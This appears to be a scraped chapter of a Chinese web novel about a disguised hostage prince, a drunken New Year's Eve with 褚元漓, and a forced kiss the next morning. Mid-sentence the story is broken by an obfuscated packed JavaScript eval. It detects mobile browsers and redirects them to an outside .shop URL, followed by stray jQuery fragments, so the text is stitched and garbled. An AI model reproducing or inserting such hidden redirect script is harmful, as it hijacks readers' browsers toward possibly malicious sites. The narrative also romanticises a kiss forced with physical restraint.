两人几盏酒下肚,气氛缓和了些,褚元漓才试探性地问她:“那天梅林里……你为什么哭?”
江令仪的手中微顿,目光垂落下来,褚元漓心里一紧:“不想说就算了。”
“除夕夜,没等到父皇的家书”,江令仪的声音很轻,像说一件毫不相干的事,她重新拿起杯盏,“满意吗?”
褚元漓顿住了,他没想到是这个原因,传言都说六皇子极受南邺皇帝宠爱,北昭要这个质子也费了一番功夫,怎么会连一封家书都等不到呢?
他有心问清楚,可小质子的尾音,带了一丝细微的颤抖,让他怎么也说不出口了。
他那么好,他父皇凭什么不挂念他?
“以后除夕夜,我陪你过。”
褚元漓的嗓音有些干涩,也不敢看她。
江令仪浅笑了一下,抬头看着庭院里的落雪:“大年夜陪一个质子,像什么话?”
褚元漓不愿意了:“你不信?”
江令仪收了笑:“我迟早会回南邺的。”
褚元漓想也没想:“那你嫁过来,就不用回去了。”
话音未落,他才意识到这句话有多失礼,他对上江令仪看过来的目光,两人都有些怔愣。
熏笼里发出细微的噼啪声,一两点火光窜起,转瞬又暗下去。
不知是谁轻咳一声,桌案上杯盏相碰。
夜到丑时,江令仪已经有些醉了,昏昏沉沉地伏在桌上,褚元漓拿了件毯子,披在她身上,顺势将她搂进怀里。
“进去睡吧,小心着凉。”
小质子抬头看他,目光涣散,嘟囔道:“……没醉。”
褚元漓有些失笑:“都这样了,还说没醉?”
小质子往前一靠,下巴抵在他胸前,迷迷糊糊地眨了眨眼,褚元漓呼吸陡然变重,他攥紧拳头,强自镇定:“你就这么喜欢逞强?”
江令仪醉意迷蒙中,泛起一股酸意,她红了眼,静静靠在褚元漓的怀里。
褚元漓见不得她这样,干脆将她整个搂进怀里,轻轻揉她的头发。
“好了,没醉就没醉。”
小质子的头发很软,人也小小的,在他胸前静了一会,突然伸手去推他。
“不要你管!”
褚元漓自然不肯放手,“别闹”,他低头一看,小质子眼尾挂了几滴泪珠,他慌忙抬手去擦,却越擦越多。
“你别哭啊……”
江令仪不让人碰,死活要把他推开,褚元漓手忙脚乱地哄她,毯子掉到地上,他索性把人禁锢在怀里,说什么也不放。
江令仪闹了一会,没力气了,趴在他怀里平复下来,良久,她迷迷糊糊地说:“不准走。”
“不走”,褚元漓低头蹭蹭她湿润的脸,“永远也不走。”
直到她哭累了,在他怀里沉沉睡去,褚元漓低头看她许久,在她脸上亲了一下。
“从今天开始,你是我的人了。”
他轻轻捏了捏她的脸颊,“不说话,就是同意了。”
他露出浅浅的笑意,夜里风大,江令仪往他怀里缩了缩,他弯腰将她打横抱起,放进暖阁的榻上。
褚元漓拿了块帕子用温水浸湿,擦掉她脸上的泪痕,脱下她的靴子。他想了想,又褪下她的外袍,好让她睡得舒服一些。
做完这些后,他俯身亲了一下她的额头,轻手轻脚地退出暖阁,重新回到游廊坐下,一条腿曲起,看着庭院中的绵绵落雪,心里难得的轻快和满足。
江令仪在睡梦中翻了个身,暖阁里碳火烧得很旺,她迷迷糊糊地梦见父皇,在西配殿里,对着母妃的牌位低声说话,殿外是如盖的西府海棠,她躲在一棵海棠树下偷看,父皇看到了她,笑着摸了摸她的头。
她终于像孩子一样控诉:“你为什么不来看我?”
江天拾蹲下身来,轻轻擦掉她的眼泪,像寻常人家的父亲哄孩子一样:“媛媛乖。”
她已经不记得多久没有听过这个称呼了。
褚元漓拿帕子给她抹着眼泪,低声念叨:“怎么梦里还在哭?”
天还没亮,江令仪醒过来,迷迷糊糊地看见眼前的陈设。
这是哪……
昨晚……她被褚元漓带到徐文潋的别院,他们喝酒,后来她好像醉了,又好像哭了,其他的就记不清了。
她忙撑着床坐起身,低头看自己,外袍被脱了,好在其他衣服还在,靴子整齐地放在床榻边。她抬手摸了一下,束胸也在,才稍松了口气。
“醒了?”
褚元漓走进暖阁,把醒酒茶放在一边,凑过来就要摸她的额头:“头疼不疼?”
江令仪往后一躲,褚元漓的手落了空。
“昨晚是你送我进来的?”
“是抱你进来的”,褚元漓强调,“昨晚你喝醉了,抱着我不肯撒手。”
江令仪的脸色顿时青一阵红一阵,拿起手边的软枕砸他,褚元漓抬手接住:“大清早就发脾气?我没骗你。”
“那衣服呢?!”
“我给你脱的”,见小质子果然生气了,褚元漓解释道:“只脱了外袍,我可没碰你。”
江令仪盯着他看了一会,褚元漓不像撒谎,想是没有暴露。
“出去,我要穿衣服!”
褚元漓舍不得走:“这也不能看?”
江令仪抬头瞪他,面色不善,褚元漓忙答应“好好好”,把软枕放在矮塌上,压着笑意退出了暖阁。
江令仪穿戴好出来,已经恢复了往日的样子,依旧是冷冷淡淡的,仿佛昨夜的柔软只是褚元漓的错觉,天亮了,他还是南邺质子。
褚元漓堵在门口:“昨晚你答应过我什么?”
江令仪心中顿时警铃大作:“我说了什么?”
“你说你是我的人了。”
江令仪压下心中的异样,声调冷下来:“褚公子,自重。”
褚元漓沉了脸,一把将她拉进怀里抱住:“睡醒就不认账了?”
江令仪慌忙挣扎:“放开!”
褚元漓就是不放,俯身在她耳边磨蹭:“认不认?”
这人真是胡搅蛮缠,江令仪拿他没办法,只能搬出身份:“我是男人!”
“那又怎么了?”,褚元漓双手捧起她的脸,认真地看着她,“我管你是什么人,大不了,我三媒六聘娶你。”
“褚元漓!”
褚元漓沉默片刻,突然低头吻住她,江令仪睁大眼,脑中一片空白,才后知后觉地挣扎。
褚元漓按住她的后颈,将她的一只手反剪到身后,不管不顾地亲她。
龙阳也好,断袖也罢,他就是认定他了!
半晌,江令仪终于推开他,扬手就是一巴掌,褚元漓被打得偏过脸去,浑身僵了一瞬,他再转头看时,发现小质子哭了。
他瞬间慌了神,连忙握住她的肩膀,却不敢再抱她:“别哭别哭,是我不好,我不碰你了”,他低
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916531|213345||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头还想再说些什么,江令仪一把推开他,转身就往外走。
褚元漓立马追上去,一路跟着径直出了内院,绕过影壁,一辆马车停在那里,徐文潋打着哈欠掀开车窗帘子:“等你们半天了。”
他看了一眼江令仪,笑着拱手:“江公子,新岁大吉,上车吧,徐某送你回府。”
江令仪转身瞪了褚元漓一眼,他也愣住了,明显没料到徐文潋会来。
徐文潋慢悠悠下了马车,褚元漓凑过来,小质子不让他碰,徐文潋伸手拦住:“行了,质子府门口人多眼杂,你就别露面了。”
他凑近褚元漓,低声补了一句:“保证把你的小质子安安稳稳送回去。”
说完冲他笑了一下,提摆上了马车,趁着天还没亮,驶出了坊道。
追风一早就在侧门外等着,见一辆马车由远及近停下,江令仪从马车里下来,已经恢复的神色,眼还是红的,追风发现了,立马去瞪徐文潋。
徐文潋抬手:“别看我,我不知道,问褚元漓去。”
江令仪看了追风一眼,追风会意,收敛了神色,冷哼一声,跟着她进了质子府。
徐文潋回去的时候,褚元漓还在暖阁里等他。
徐文潋一进去就笑着说:“你俩昨晚在这待了一晚上?都干什么了?”
褚元漓放下茶盏:“没人看见你们吧?”
徐文潋在他对面坐下:“我亲自去送,你还不放心?别扯开话茬,你是不是欺负人家了?那小质子眼都是红的。”
褚元漓动作微顿,没有说话,徐文潋往后一靠,看他那魂不守舍的样子,感叹道:“你也有今天。”
他嘴上便宜讨够了,才收敛了玩笑:“说正经的,你打算怎么办?”
褚元漓心事重重:“什么怎么办。”
徐文潋问:“前段时间,你在练武场发疯,也是因为他吧?”
褚元漓不说话,算是默认,徐文潋纳闷了:“你放着柳家小姐不要,却喜欢一个质子?”
何况这个质子还是个男人。
褚元漓立马不乐意了:“质子怎么了?”
徐文潋摆手:“好好,没怎么,可你俩身份摆在这,就算他是女子,能嫁给你吗?”
徐文潋说的这些,褚元漓不是不清楚:“我会想办法……只要他愿意。”
“我看他够呛愿意”,徐文潋半认真地说,“那个小质子,可比你清醒多了。”
方才送江令仪回去的路上,徐文潋不是没注意到她的脸色,小质子身后是南邺,是皇位,即便动了心,也不会陪着褚元漓胡闹。
褚元漓的脸色不太好看,徐文潋点到为止,转而聊起正事:“西征的事,你没告诉他吧?”
“怎么会?”
徐文潋放下心来,他这兄弟再犯浑,关键时候也知道轻重:“部队什么时候开拔?”
“大约初春就要动兵了。”
徐文潋盘算着:“关中地区易守难攻,这场仗,怎么也得打到秋天。”
“我不在京的时候,你帮我照应一下,有什么事,派人传信给我。”
徐文潋知道他放心不下小质子:“没你添乱,他好得很,你还是先操心自己吧,听说这次,皇上换了一批人,你在军中,万事小心。”
褚元漓嗯了一声,过了片刻才道:“放心吧,我心里有数。”
一大早宫里还有朝会,两人说不了几句,眼看天色擦亮,便各自回府准备了。